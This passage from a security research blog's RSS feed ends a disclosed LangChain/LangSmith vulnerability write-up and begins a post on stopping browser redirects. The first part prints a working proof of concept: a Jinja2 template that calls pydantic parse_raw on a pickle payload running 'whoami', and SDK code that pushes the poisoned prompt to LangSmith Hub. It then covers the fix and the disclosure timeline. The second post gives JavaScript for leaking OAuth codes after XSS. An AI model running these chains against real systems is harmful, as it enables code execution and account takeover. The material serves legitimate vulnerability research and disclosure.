class="s2">x94</span><span class="se">\\</span><span class="s2">x85</span><span class="se">\\</span><span class="s2">x94R</span><span class="se">\\</span><span class="s2">x94."</span><span class="p">,</span><span class="w">
        </span><span class="nl">"msg"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
            </span><span class="nl">"lc"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
            </span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"constructor"</span><span class="p">,</span><span class="w">
            </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
                </span><span class="s2">"langchain_core"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"messages"</span><span class="p">,</span><span class="w">
                </span><span class="s2">"HumanMessage"</span><span class="w">
            </span><span class="p">],</span><span class="w">
            </span><span class="nl">"kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
                </span><span class="nl">"content"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
                </span><span class="nl">"additional_kwargs"</span><span class="p">:</span><span class="w"> </span><span class="p">{}</span><span class="w">
            </span><span class="p">}</span><span class="w">
        </span><span class="p">}</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>{% endraw %}</p>

<p>and I finally received a callback:</p>

<p><img src="/research/articles/ArticleNo0013/langsmith_playground_callback.png" alt="langsmith_playground_callback" /></p>

<h2 id="the-impact">The impact</h2>

<p>At first glance, the impact was clear: executing arbitrary code within LangSmith’s infrastructure with the ability to further develop the attack. It’s worth noting, however, that the playground is segregated from the core backend components, which have full access to customer data. Even requests to internal APIs required extra effort from an attacker because the playground didn’t share the secret needed for service-to-service authentication. On the other hand, the playground is not completely isolated, and its exploitation can provide great opportunities for the attack.</p>

<p>Nevertheless, I continued to explore the LangChain ecosystem after reporting the vulnerability to the LangChain team. During one of my reading sessions on the documentation, I found pretty an interesting piece about <a href="https://docs.langchain.com/langsmith/manage-prompts-programmatically">programmatically managing prompts</a>. This page describes how the LangSmith SDK can be used to push and pull prompts to and from LangSmith Hub. LangSmith Hub is a centralised repository for version control, sharing, and managing prompts. It allows developers to work with prompts as they would with code: push them to Hub, pull them by name and version, track changes between commits, and so on. Hub is a kind of single source of truth for prompts, allowing developers to separate code from prompts. In practice, developers can reference prompts in Hub in their applications and iterate on those prompts directly in LangSmith, with all changes being tracked, reviewable, and reproducible. Another fascinating page in the documentation was dedicated to <a href="https://docs.langchain.com/langsmith/prompt-commit">syncing prompts with GitHub</a> using webhooks. Essentially, all of these features unlock opportunities to integrate LangSmith into CI/CD or development workflows. For example, a new commit or tag in LangSmith could trigger a workflow in GitHub that will pull a prompt from Hub and invoke it, or even redeploy an application with a new prompt reference. This led me to a thought: what if I could push a prompt to LangSmith that requires no malicious input and executes code when invoked? If so, this would be a rather interesting exploitation chain if an attacker has access to a leaked LangSmith API key and the target workspace has this kind of automation. I started exploring how data flows between steps of the data pipeline in LangChain. Tracing the control flow from <code class="language-plaintext highlighter-rouge">RunnableSequence</code> to templates, I discovered that <code class="language-plaintext highlighter-rouge">PromptTemplate</code> inherits the <code class="language-plaintext highlighter-rouge">partial_variables</code> variable from <code class="language-plaintext highlighter-rouge">BasePromptTemplate</code>:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># https://github.com/langchain-ai/langchain/blob/dad50e5624dda9ee44636dfda2a488fdae7e23a7/libs/core/langchain_core/prompts/base.py#L44
</span><span class="k">class</span> <span class="nc">BasePromptTemplate</span><span class="p">(</span>
    <span class="n">RunnableSerializable</span><span class="p">[</span><span class="nb">dict</span><span class="p">,</span> <span class="n">PromptValue</span><span class="p">],</span> <span class="n">ABC</span><span class="p">,</span> <span class="n">Generic</span><span class="p">[</span><span class="n">FormatOutputType</span><span class="p">]</span>
<span class="p">):</span>
    <span class="s">"""Base class for all prompt templates, returning a prompt."""</span>

    <span class="c1"># ...
</span>    <span class="n">partial_variables</span><span class="p">:</span> <span class="n">Mapping</span><span class="p">[</span><span class="nb">str</span><span class="p">,</span> <span class="n">Any</span><span class="p">]</span> <span class="o">=</span> <span class="n">Field</span><span class="p">(</span><span class="n">default_factory</span><span class="o">=</span><span class="nb">dict</span><span class="p">)</span>
    <span class="s">"""A dictionary of the partial variables the prompt template carries.

    Partial variables populate the template so that you don't need to pass them in every
    time you call the prompt.
    """</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">partial_variables</code> takes variables used in a template, and it seems like instead of passing the variables to <code class="language-plaintext highlighter-rouge">input</code> I should be able to specify them directly in the manifest. This is exactly what I was looking for. Another important detail: <code class="language-plaintext highlighter-rouge">partial_variables</code> allows bypassing the limitation on serialisable objects passed to <code class="language-plaintext highlighter-rouge">input</code>, since <code class="language-plaintext highlighter-rouge">partial_variables</code> is loaded as part of the manifest, which doesn’t have the validation on the class names. In other words, I could completely avoid going into the implementation details of LangSmith Playground and instead use <code class="language-plaintext highlighter-rouge">partial_variables</code> to access an object during template rendering. Meanwhile, I recreated the manifest from the request in Python code:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">langchain_core.language_models</span> <span class="kn">import</span> <span class="n">FakeListLLM</span>
<span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">HumanMessage</span>
<span class="kn">from</span> <span class="nn">langchain_core.prompts.chat</span> <span class="kn">import</span> <span class="n">ChatPromptTemplate</span><span class="p">,</span> <span class="n">SystemMessagePromptTemplate</span><span class="p">,</span> <span class="n">HumanMessagePromptTemplate</span>
<span class="kn">from</span> <span class="nn">langchain_core.prompts.prompt</span> <span class="kn">import</span> <span class="n">PromptTemplate</span>
<span class="kn">from</span> <span class="nn">langchain_core.runnables</span> <span class="kn">import</span> <span class="n">RunnableSequence</span>

<span class="n">template</span> <span class="o">=</span> <span class="s">"{{msg.parse_raw(payload.encode().decode('unicode_escape').encode('latin1'),allow_pickle=True,proto='pickle')}}"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x80</span><span class="se">\\</span><span class="s">x04</span><span class="se">\\</span><span class="s">x95!</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x05posix</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06system</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x93</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06whoami</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x85</span><span class="se">\\</span><span class="s">x94R</span><span class="se">\\</span><span class="s">x94."</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>

<span class="n">s</span> <span class="o">=</span> <span class="n">RunnableSequence</span><span class="p">(</span>
    <span class="n">first</span><span class="o">=</span><span class="n">ChatPromptTemplate</span><span class="p">(</span>
        <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
            <span class="n">SystemMessagePromptTemplate</span><span class="p">(</span>
                <span class="n">prompt</span><span class="o">=</span><span class="n">PromptTemplate</span><span class="p">(</span>
                    <span class="n">input_variables</span><span class="o">=</span><span class="p">[],</span>
                    <span class="n">template_format</span><span class="o">=</span><span class="s">"f-string"</span><span class="p">,</span>
                    <span class="n">template</span><span class="o">=</span><span class="s">"You are a chatbot."</span><span class="p">,</span>
                <span class="p">),</span>
            <span class="p">),</span>
            <span class="n">HumanMessagePromptTemplate</span><span class="p">(</span>
                <span class="n">prompt</span><span class="o">=</span><span class="n">PromptTemplate</span><span class="p">(</span>
                    <span class="n">input_variables</span><span class="o">=</span><span class="p">[],</span>
                    <span class="n">template_format</span><span class="o">=</span><span class="s">"jinja2"</span><span class="p">,</span>
                    <span class="n">template</span><span class="o">=</span><span class="n">template</span><span class="p">,</span>
                    <span class="n">partial_variables</span><span class="o">=</span><span class="p">{</span>
                        <span class="s">"payload"</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span>
                        <span class="s">"msg"</span><span class="p">:</span> <span class="n">msg</span><span class="p">,</span>
                    <span class="p">},</span>
                <span class="p">),</span>
            <span class="p">),</span>
        <span class="p">],</span>
    <span class="p">),</span>
    <span class="n">last</span><span class="o">=</span><span class="n">FakeListLLM</span><span class="p">(</span><span class="n">responses</span><span class="o">=</span><span class="p">[</span><span class="s">""</span><span class="p">]),</span>
<span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">invoke</span><span class="p">({})</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>As you can see, the payload and object are passed directly to the <code class="language-plaintext highlighter-rouge">PromptTemplate</code>. When I ran it locally, I saw the desired result:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xn3va
Traceback (most recent call last):
  ...
</code></pre></div></div>

<p>The next step was to <a href="https://docs.langchain.com/langsmith/manage-prompts-programmatically">push a malicious request to LangSmith Hub using the SDK</a>:</p>

<p>{% raw %}</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">dotenv</span> <span class="kn">import</span> <span class="n">load_dotenv</span>
<span class="kn">from</span> <span class="nn">langchain_core.messages</span> <span class="kn">import</span> <span class="n">HumanMessage</span>
<span class="kn">from</span> <span class="nn">langchain_core.prompts.chat</span> <span class="kn">import</span> <span class="n">ChatPromptTemplate</span><span class="p">,</span> <span class="n">SystemMessagePromptTemplate</span><span class="p">,</span> <span class="n">HumanMessagePromptTemplate</span>
<span class="kn">from</span> <span class="nn">langchain_core.prompts.prompt</span> <span class="kn">import</span> <span class="n">PromptTemplate</span>
<span class="kn">from</span> <span class="nn">langsmith</span> <span class="kn">import</span> <span class="n">Client</span>

<span class="n">template</span> <span class="o">=</span> <span class="s">"{{msg.parse_raw(payload.encode().decode('unicode_escape').encode('latin1'),allow_pickle=True,proto='pickle')}}"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">"</span><span class="se">\\</span><span class="s">x80</span><span class="se">\\</span><span class="s">x04</span><span class="se">\\</span><span class="s">x95!</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x00</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x05posix</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06system</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x93</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x8c</span><span class="se">\\</span><span class="s">x06whoami</span><span class="se">\\</span><span class="s">x94</span><span class="se">\\</span><span class="s">x85</span><span class="se">\\</span><span class="s">x94R</span><span class="se">\\</span><span class="s">x94."</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">HumanMessage</span><span class="p">(</span><span class="s">""</span><span class="p">)</span>

<span class="n">prompt</span> <span class="o">=</span> <span class="n">ChatPromptTemplate</span><span class="p">(</span>
    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
        <span class="n">SystemMessagePromptTemplate</span><span class="p">(</span>
            <span class="n">prompt</span><span class="o">=</span><span class="n">PromptTemplate</span><span class="p">(</span>
                <span class="n">input_variables</span><span class="o">=</span><span class="p">[],</span>
                <span class="n">template_format</span><span class="o">=</span><span class="s">"f-string"</span><span class="p">,</span>
                <span class="n">template</span><span class="o">=</span><span class="s">"You are a chatbot."</span><span class="p">,</span>
            <span class="p">),</span>
        <span class="p">),</span>
        <span class="n">HumanMessagePromptTemplate</span><span class="p">(</span>
            <span class="n">prompt</span><span class="o">=</span><span class="n">PromptTemplate</span><span class="p">(</span>
                <span class="n">input_variables</span><span class="o">=</span><span class="p">[],</span>
                <span class="n">template_format</span><span class="o">=</span><span class="s">"jinja2"</span><span class="p">,</span>
                <span class="n">template</span><span class="o">=</span><span class="n">template</span><span class="p">,</span>
                <span class="n">partial_variables</span><span class="o">=</span><span class="p">{</span>
                    <span class="s">"payload"</span><span class="p">:</span> <span class="n">payload</span><span class="p">,</span>
                    <span class="s">"msg"</span><span class="p">:</span> <span class="n">msg</span><span class="p">,</span>
                <span class="p">},</span>
            <span class="p">),</span>
        <span class="p">),</span>
    <span class="p">],</span>
<span class="p">)</span>

<span class="c1"># create .env file and add LANGSMITH_API_KEY there
</span><span class="n">load_dotenv</span><span class="p">(</span><span class="n">dotenv_path</span><span class="o">=</span><span class="s">".env"</span><span class="p">)</span>

<span class="n">client</span> <span class="o">=</span> <span class="n">Client</span><span class="p">(</span><span class="n">api_url</span><span class="o">=</span><span class="s">"https://eu.api.smith.langchain.com"</span><span class="p">,</span> <span class="n">workspace_id</span><span class="o">=</span><span class="s">"&lt;workspace-id&gt;"</span><span class="p">)</span>
<span class="n">url</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">push_prompt</span><span class="p">(</span><span class="s">"test-prompt"</span><span class="p">,</span> <span class="nb">object</span><span class="o">=</span><span class="n">prompt</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">url</span><span class="p">)</span>
</code></pre></div></div>
<p>{% endraw %}</p>

<p>Now we can pull the malicious prompt from LangSmith Hub and invoke it using the same SDK:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">dotenv</span> <span class="kn">import</span> <span class="n">load_dotenv</span>
<span class="kn">from</span> <span class="nn">langchain_core.language_models</span> <span class="kn">import</span> <span class="n">FakeListLLM</span>
<span class="kn">from</span> <span class="nn">langsmith</span> <span class="kn">import</span> <span class="n">Client</span>

<span class="c1"># create .env file and add LANGSMITH_API_KEY there
</span><span class="n">load_dotenv</span><span class="p">(</span><span class="n">dotenv_path</span><span class="o">=</span><span class="s">".env"</span><span class="p">)</span>

<span class="n">client</span> <span class="o">=</span> <span class="n">Client</span><span class="p">(</span><span class="n">api_url</span><span class="o">=</span><span class="s">"https://eu.api.smith.langchain.com"</span><span class="p">,</span> <span class="n">workspace_id</span><span class="o">=</span><span class="s">"7201d811-22bb-4ddf-8f1b-9e3ba2590bd9"</span><span class="p">)</span>
<span class="n">prompt</span> <span class="o">=</span> <span class="n">client</span><span class="p">.</span><span class="n">pull_prompt</span><span class="p">(</span><span class="s">"test-prompt"</span><span class="p">)</span>
<span class="n">llm</span> <span class="o">=</span> <span class="n">FakeListLLM</span><span class="p">(</span><span class="n">responses</span><span class="o">=</span><span class="p">[</span><span class="s">""</span><span class="p">])</span>
<span class="n">s</span> <span class="o">=</span> <span class="n">prompt</span> <span class="o">|</span> <span class="n">llm</span>
<span class="n">s</span><span class="p">.</span><span class="n">invoke</span><span class="p">({})</span>
</code></pre></div></div>

<p>As expected, the code was executed:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xn3va
Traceback (most recent call last):
  ...
</code></pre></div></div>

<p>From an attacker’s perspective, this means that access to a leaked LangSmith API key opens the possibility of executing arbitrary code within the victim’s CI/CD or even production application.</p>

<h2 id="takeaways">Takeaways</h2>

<p><strong>Template formatters are more powerful than they appear</strong>: Python’s <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code> formatters support advanced attribute access and element retrieval capabilities that go beyond simple variable substitution. These features can be chained to traverse object hierarchies, access global namespaces through <code class="language-plaintext highlighter-rouge">__globals__</code>, and retrieve sensitive data without requiring function calls. Don’t underestimate the attack surface of seemingly simple string formatting.</p>

<p><strong>Jinja2 sandboxing isn’t a silver bullet</strong>: While Jinja2’s <code class="language-plaintext highlighter-rouge">SandboxedEnvironment</code> blocks direct access to dangerous attributes and restricts certain operations, it only inspects what happens within the template execution context. Methods that internally perform unsafe operations can bypass sandbox restrictions. You don’t always need a vulnerability in Jinja2 itself to escape the sandbox - look for gadgets in the application’s object model that expose dangerous functionality through seemingly safe method calls.</p>

<p><strong>Serialisation + User Input = High-Risk Combination</strong>: When applications deserialise user-controlled objects and pass them to template engines, the attack surface expands dramatically. Instead of being limited to built-in types, attackers gain access to custom classes with methods that may expose dangerous primitives. Always investigate what types of objects can be passed as template variables.</p>

<p><strong>Deprecated features are treasure troves</strong>: Legacy and deprecated methods often contain security issues. Pydantic’s <code class="language-plaintext highlighter-rouge">parse_raw</code> method with pickle support is a perfect example - it provides a direct path to arbitrary code execution despite being part of a well-maintained library. When hunting for gadgets, pay special attention to deprecated functionality that may have been overlooked in security audits.</p>

<h2 id="the-fix">The fix</h2>

<p>The initial fix was released by the LangChain team within just a few days. The open-source part of the fix affected <code class="language-plaintext highlighter-rouge">langchain_core</code>, restricting access to attributes (<code class="language-plaintext highlighter-rouge">.</code>) and indexing (<code class="language-plaintext highlighter-rouge">[]</code>) for the <code class="language-plaintext highlighter-rouge">f-string</code> and <code class="language-plaintext highlighter-rouge">mustache</code> formatters, and implementing a more restrictive Jinja2 sandbox that blocked access to all attributes and methods. These changes effectively prevented exploitation of the vulnerability, but concerns about deserialising arbitrary objects remained. A few weeks later, the team reverted the Jinja2 sandbox restrictions and added deserialisation hardening to <code class="language-plaintext highlighter-rouge">langchain_core</code>. The hardening introduced a list of allowed objects for deserialisation and blocked <code class="language-plaintext highlighter-rouge">jinja2</code> templates during deserialisation.</p>

<p>All the changes can be found in the following pull requests:</p>
<ul>
  <li>https://github.com/langchain-ai/langchain/pull/34038 - adds hardening for template formatters in <code class="language-plaintext highlighter-rouge">langchain_core</code>.</li>
  <li>https://github.com/langchain-ai/langchain/pull/34072 - reverts Jinja2 sanbox restrictions in <code class="language-plaintext highlighter-rouge">langchain_core</code>.</li>
  <li>https://github.com/langchain-ai/langchain/pull/34455 - adds hardening for deserialisation in <code class="language-plaintext highlighter-rouge">langchain_core</code>.</li>
  <li>https://github.com/langchain-ai/langchainjs/pull/9707 - adds hardening for deserialisation in <code class="language-plaintext highlighter-rouge">@langchain/core</code>.</li>
</ul>

<p>The LangChain issues three advisories in the <code class="language-plaintext highlighter-rouge">langchain</code> and <code class="language-plaintext highlighter-rouge">langchainjs</code> repositories:</p>
<ul>
  <li><a href="https://github.com/langchain-ai/langchain/security/advisories/GHSA-6qv9-48xg-fc7f">GHSA-6qv9-48xg-fc7f</a></li>
  <li><a href="https://github.com/langchain-ai/langchain/security/advisories/GHSA-c67j-w6g6-q2cm">GHSA-c67j-w6g6-q2cm</a></li>
  <li><a href="https://github.com/langchain-ai/langchainjs/security/advisories/GHSA-r399-636x-v7f6">GHSA-r399-636x-v7f6</a></li>
</ul>

<h2 id="disclosure-timeline">Disclosure timeline</h2>

<ul>
  <li>16/11/25 - Initial report sent to the LangChain team.</li>
  <li>17/11/25 - Initial response from the team.</li>
  <li>19/11/25 - The advisory and patch have been released for the OSS part.</li>
  <li>20/11/25 - Bounty awarded.</li>
  <li>23/12/25 - The advisories and patches have been released for the OSS part.</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Stopping Redirects</title>
      <link>https://lab.ctbb.show/research/stopping-redirects</link>
      <guid isPermaLink="true">https://lab.ctbb.show/research/stopping-redirects</guid>
      <pubDate>Thu, 04 Dec 2025 00:00:00 +0000</pubDate>
      <author>Jorian Woltjer</author>
      <description>Interesting ways to stop redirects of another site in the browser for use in OAuth and exploits requiring interaction</description>
      <content:encoded><![CDATA[<p>This post will cover various ways to cancel or pause redirects in the browser, since I’ve recently come across some interesting tricks that let you do this in different situations.</p>

<h2 id="use-cases">Use cases</h2>

<p>Redirects are awesome, I hear you say, why would we want to stop them?<br />
Well, dear reader I made up, there are some <em>niche</em> uses for these tricks to help in situations that are otherwise barely unexploitable. I’ll go through 2 reasons here that I’ve personally seen, but simply knowing these ideas may allow you to apply them to other cases.</p>

<p>First, one common use case is performing the <a href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/"><strong>OAuth “dirty dance”</strong></a> technique through an XSS vulnerability you found using JavaScript. It requires two things:</p>

<ol>
  <li>A way to leak the callback URL with the <code class="language-plaintext highlighter-rouge">?code=</code> parameter in it</li>
  <li>To stop the code from being used once the URL is fetched, something has to go wrong in the flow, while we are still able to catch it</li>
</ol>

<p>The first is easy with XSS, we just read <code class="language-plaintext highlighter-rouge">location.search</code> and extract the code from there. The second point varies a lot per application, but this is just what stopping redirects is useful for. The callback URL we want to leak is <em>redirected to</em>. If we can prevent it from getting there, we should be able to exfiltrate and use the code for ourselves to log into the victim’s account.</p>

<hr />

<p>Another situation is when a vulnerability you found requires <strong>user interaction</strong>, so you want to give the user time to perform that interaction. But if the page redirects away too quickly, you may not have a practical attack. We want to stop the redirect and render the vulnerable page clearly to the user.</p>

<p>There’s also an important distinction to make between <em>Server-Side</em> and <em>Client-Side</em> redirects. The former is using a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status#redirection_messages">30X status code</a> with the <code class="language-plaintext highlighter-rouge">Location:</code> response header, while the latter happens via JavaScript with the <a href="https://developer.mozilla.org/en-US/docs/Web/API/Location/href"><code class="language-plaintext highlighter-rouge">location.href</code> setter</a> or <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigation/navigate"><code class="language-plaintext highlighter-rouge">navigation.navigate()</code></a>, or even using HTML with a <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/meta/http-equiv#refresh"><code class="language-plaintext highlighter-rouge">&lt;meta http-equiv="refresh"&gt;</code></a> tag.<br />
Some of these tricks will work only on the server-side, others only on the client-side. Take careful note of exactly how yours works.</p>

<h2 id="control-of-url">Control of URL?</h2>

<p>If you have (partial) control over the URL, alter it to cause the browser to refuse the redirect.<br />
For example, some special <strong>protocols</strong> can’t be redirected to. This varies by browser, and the behavior is not the same across all of them. Here are some facts:</p>

<ul>
  <li>The <code class="language-plaintext highlighter-rouge">data:</code> protocol is only allowed to be client-side redirected to <em>inside an iframe</em>, trying to do so top-level will not do anything.</li>
  <li>The <code class="language-plaintext highlighter-rouge">about:</code> protocol gets replaced by <code class="language-plaintext highlighter-rouge">about:blank#blocked</code> in chrome, while on Firefox it throws a JavaScript <code class="language-plaintext highlighter-rouge">TypeError</code></li>
  <li>The <code class="language-plaintext highlighter-rouge">resource:</code> protocol in server-side redirects used to render body on Firefox, but <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1670672#c13">now errors 😔</a>. The only way for a server-side redirect to render its body is now in Chrome, with the <code class="language-plaintext highlighter-rouge">Location:</code> header being completely empty.</li>
</ul>

<p>These all assume you have control over the start of the URL, but what if your input is somewhere <strong>in the middle</strong> of the URL when the <code class="language-plaintext highlighter-rouge">https:</code> protocol was already given? There are a few more tricks that can be applied.</p>

<p>Specifically, in a Client-Side redirect, <a href="https://x.com/kire_devs_hacks">@kire_devs_hacks</a> mentioned in Discord that Chrome’s <a href="https://portswigger.net/web-security/cross-site-scripting/dangling-markup">Dangling Markup</a> protection detects <code class="language-plaintext highlighter-rouge">&lt;</code> together with <code class="language-plaintext highlighter-rouge">\n</code> or <code class="language-plaintext highlighter-rouge">\t</code> in a URL and will block the request, including navigations. The following will fail to redirect:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;script&gt;</span>
  <span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">https://example.com/&lt;</span><span class="se">\t</span><span class="dl">"</span>
<span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Another idea is overflowing the URL with so much data that the server can’t handle it, and quickly returns an error page instead. In the case of leaking OAuth codes, you might be able to do this with a very large <code class="language-plaintext highlighter-rouge">state=</code> parameter that is reused in the callback request. The code will not be used because the server couldn’t handle the request, but the resulting page will still be same-origin, so you can read its <code class="language-plaintext highlighter-rouge">location.search</code>.</p>

<blockquote>
  <p><strong>PS.</strong> This is also just an interesting tip in general, while testing, I managed to get 5 different error pages on my own site for varying URL lengths:</p>

  <ol>
    <li>1000: <code class="language-plaintext highlighter-rouge">500 Internal Server Error</code></li>
    <li>10000: <code class="language-plaintext highlighter-rouge">414 Request-URI Too Large</code> <code class="language-plaintext highlighter-rouge">nginx/1.28.0</code></li>
    <li>33000: Cloudflare UI <code class="language-plaintext highlighter-rouge">Error 1036</code> <code class="language-plaintext highlighter-rouge">Invalid request rewrite</code></li>
    <li>70000: <code class="language-plaintext highlighter-rouge">414 URI Too Long</code></li>
    <li>200000: Built-in <code class="language-plaintext highlighter-rouge">ERR_CONNECTION_CLOSED</code></li>
  </ol>
</blockquote>

<p>The browser itself also has a <a href="https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/url_display_guidelines/url_display_guidelines.md#url-length">hard limit on URL length</a> of 2MB. Any bigger than this and it just gets replaced by <code class="language-plaintext highlighter-rouge">about:blank#blocked</code>, and we can’t do anything with it.<br />
Fun fact: this limit even includes the <code class="language-plaintext highlighter-rouge">#</code> hash fragment, which is kept across same-origin navigations. This can be <a href="https://xsleaks.dev/docs/attacks/navigations/#inflation-client-side-errors">useful in XS-Leaks</a> to detect the length of some other part of the URL!</p>

<h2 id="leaking-built-in-error-pages">Leaking built-in error pages</h2>

<p>Above, we got one <code class="language-plaintext highlighter-rouge">ERR_CONNECTION_CLOSED</code> error, which displayed a built-in error page when our URL was so long that the server simply refused to connect.</p>

<p><img src="/research/articles/ArticleNo0012/stopping-redirects-errorpage.png" alt="This site can't be reached builtin error page" /></p>

<p>But when we check the <code class="language-plaintext highlighter-rouge">location.href</code> and <code class="language-plaintext highlighter-rouge">origin</code>, it becomes clear that this page is no longer same-origin. If we had a window reference to it, we could not read its <code class="language-plaintext highlighter-rouge">location.search</code> to find the code parameter or anything.</p>

<p>Luckily, because this was a same-origin redirect, there is another trick we can use to still leak the URL. Even though the document may be cross-origin, the URL is still saved in history. We can read this history using the Navigation API by simply redirecting to some page we have access to and then reading the saved <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigation/entries"><code class="language-plaintext highlighter-rouge">navigation.entries()</code></a> (only supported in Chrome as of now).</p>

<p>Try running the following in your DevTools Console on https://example.com:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">w</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="dl">"</span><span class="s2">/?</span><span class="dl">"</span> <span class="o">+</span> <span class="k">new</span> <span class="nx">URLSearchParams</span><span class="p">({</span>
  <span class="na">state</span><span class="p">:</span> <span class="dl">"</span><span class="s2">A</span><span class="dl">"</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">100000</span><span class="p">),</span>  <span class="c1">// Cause Built-in ERR_CONNECTION_CLOSED error page</span>
  <span class="na">code</span><span class="p">:</span> <span class="dl">"</span><span class="s2">SECRET</span><span class="dl">"</span>
<span class="p">}));</span>
<span class="nx">setTimeout</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">interval</span> <span class="o">=</span> <span class="nx">setInterval</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">w</span><span class="p">.</span><span class="nx">location</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">about:blank</span><span class="dl">"</span><span class="p">;</span>
    <span class="k">try</span> <span class="p">{</span>  <span class="c1">// Wait for it to become same-origin</span>
      <span class="nx">w</span><span class="p">.</span><span class="nx">origin</span><span class="p">;</span>
      <span class="nx">clearInterval</span><span class="p">(</span><span class="nx">interval</span><span class="p">);</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">{</span><span class="k">return</span><span class="p">}</span>
    <span class="c1">// Now we can read history to find errored URL</span>
    <span class="nx">alert</span><span class="p">(</span><span class="nx">w</span><span class="p">.</span><span class="nx">navigation</span><span class="p">.</span><span class="nx">entries</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">url</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">"</span><span class="s2">code=</span><span class="dl">"</span><span class="p">)[</span><span class="mi">1</span><span class="p">]);</span>
  <span class="p">},</span> <span class="mi">100</span><span class="p">);</span>
<span class="p">},</span> <span class="mi">3000</span><span class="p">);</span>  <span class="c1">// Let it fail to connect once to save the URL in history</span>
</code></pre></div></div>

<p>Another common error page this trick is useful for is the <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Status/431">431 Request Header Fields Too Large</a> status code, which is pretty self-explanatory. The documentation even mentions common ways this may happen:</p>

<blockquote>
  <ul>
    <li>The <code class="language-plaintext highlighter-rouge">Referer</code> URL is too long</li>
    <li>There are too many Cookies sent in the request</li>
  </ul>
</blockquote>

<p>We can trigger either of these using XSS, although sending a large <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Referer"><code class="language-plaintext highlighter-rouge">Referer:</code></a> header is hard nowadays because <a href="https://caniuse.com/mdn-http_headers_referer_length_limit_4096b">browsers limit it to 4096 bytes</a>.</p>

